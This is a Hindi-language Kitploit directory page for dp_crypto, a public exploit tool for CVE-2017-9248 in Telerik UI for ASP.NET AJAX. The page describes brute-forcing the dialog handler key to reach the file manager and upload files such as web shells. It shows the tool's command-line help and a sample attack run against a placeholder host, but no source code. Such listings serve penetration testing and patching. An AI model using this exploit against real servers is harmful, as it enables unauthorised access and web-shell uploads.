Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
dp_crypto — Base64-आधारित एन्क्रिप्शन ओरेकल एक्सप्लॉइट, CVE-2017-9248 (Telerik UI for ASP.NET AJAX डायलॉग हैंडलर) के लिए। | Kitploit
उपकरण/GitHubGitHub/bao7uo/dp_crypto
एन्क्रिप्शन/डिक्रिप्शन उपकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंग
GitHubbao7uo/dp_crypto

dp_crypto

Base64-आधारित एन्क्रिप्शन ओरेकल एक्सप्लॉइट, CVE-2017-9248 (Telerik UI for ASP.NET AJAX डायलॉग हैंडलर) के लिए।

रिपॉजिटरी देखें
17749105 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

dp_crypto

Language

CVE-2017-9248 (Telerik UI for ASP.NET AJAX डायलॉग हैंडलर) के लिए Base64-आधारित एन्क्रिप्शन ओरेकल एक्सप्लॉइट

exploit-db पर प्रकाशित

अद्यतन 2020 - कृपया ध्यान दें कि exploit-db पर उपलब्ध संस्करण GitHub पर उपलब्ध नवीनतम संस्करण की तुलना में अब बहुत पुराना हो चुका है।

  • https://www.exploit-db.com/exploits/43873/

यह भी देखें

मेरा दूसरा Telerik UI एक्सप्लॉइट (CVE-2017-11317 और CVE-2017-11357 के लिए) भी संभवतः आपके लिए रुचिकर होगा। यह यहाँ उपलब्ध है:

  • https://github.com/bao7uo/RAU_crypto

अवलोकन

यह एक्सप्लॉइट Telerik UI for ASP.NET AJAX के भेद्य संस्करणों के लिए डायलॉग हैंडलर कुंजी का पता लगाने हेतु एक कमजोर एन्क्रिप्शन कार्यान्वयन पर हमला करता है, तत्पश्चात एक एन्क्रिप्टेड लिंक प्रदान करता है जो फ़ाइल मैनेजर तक पहुँच देता है, और यदि रिमोट फ़ाइल अनुमतियाँ अनुमति देती हैं तो मनमानी फ़ाइल अपलोड (जैसे वेब शेल) की सुविधा भी देता है। यह संस्करण 2017.1.118 तक (इसे सम्मिलित करते हुए) कार्य करता है।

dp_crypto स्क्रीनशॉट

उपयोग

$ python3 dp_crypto.py -h

dp_crypto by Paul Taylor / @bao7uo
CVE-2017-9248 - Telerik.Web.UI.dll Cryptographic compromise

usage: dp_crypto.py [-h] {d,e,k,b,p} ...

positional arguments:
  {d,e,k,b,p}
    d          Decrypt a ciphertext
    e          Encrypt a plaintext
    k          Bruteforce key/generate URL
    b          Encode parameter to base64
    p          Decode base64 parameter

optional arguments:
  -h, --help   show this help message and exit

एक कुंजी खोजने के लिए:

$ python3 dp_crypto.py k -h

dp_crypto by Paul Taylor / @bao7uo
CVE-2017-9248 - Telerik.Web.UI.dll Cryptographic compromise

usage: dp_crypto.py k [-h] -u URL [-l KEY_LEN] [-o ORACLE] [-v VERSION] [-c CHARSET] [-a ACCURACY] [-r RESUME_KEY] [-p PROXY]

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Target URL, e.g. https://???.???.???/Telerik.Web.UI.DialogHandler.aspx
  -l KEY_LEN, --key-len KEY_LEN
                        Len of the key to retrieve, OPTIONAL: default is 48
  -o ORACLE, --oracle ORACLE
                        The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message
  -v VERSION, --version VERSION
                        OPTIONAL. Specify the version to use rather than iterating over all of them
  -c CHARSET, --charset CHARSET
                        Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex
  -a ACCURACY, --accuracy ACCURACY
                        Maximum accuracy is out of 64 where 64 is the most accurate, accuracy of 9 will usually suffice for a hex, but 21 or more might be needed
                        when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.
  -r RESUME_KEY, --resume-key RESUME_KEY
                        Specify a partial key to resume testing, or complete key to get the URL.
  -p PROXY, --proxy PROXY
                        Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080

उदाहरण

dp_crypto स्क्रीनशॉट

$ ./dp_crypto.py k -u http://fake.bao7uo.com/Telerik.Web.UI.DialogHandler.aspx

dp_crypto by Paul Taylor / @bao7uo
CVE-2017-9248 - Telerik.Web.UI.dll Cryptographic compromise

Attacking http://192.168.55.2/Telerik.Web.UI.DialogHandler.aspx
to find key of length [48] with accuracy threshold [9]
using key charset [01234567890ABCDEF]
टूल डाउनलोड करें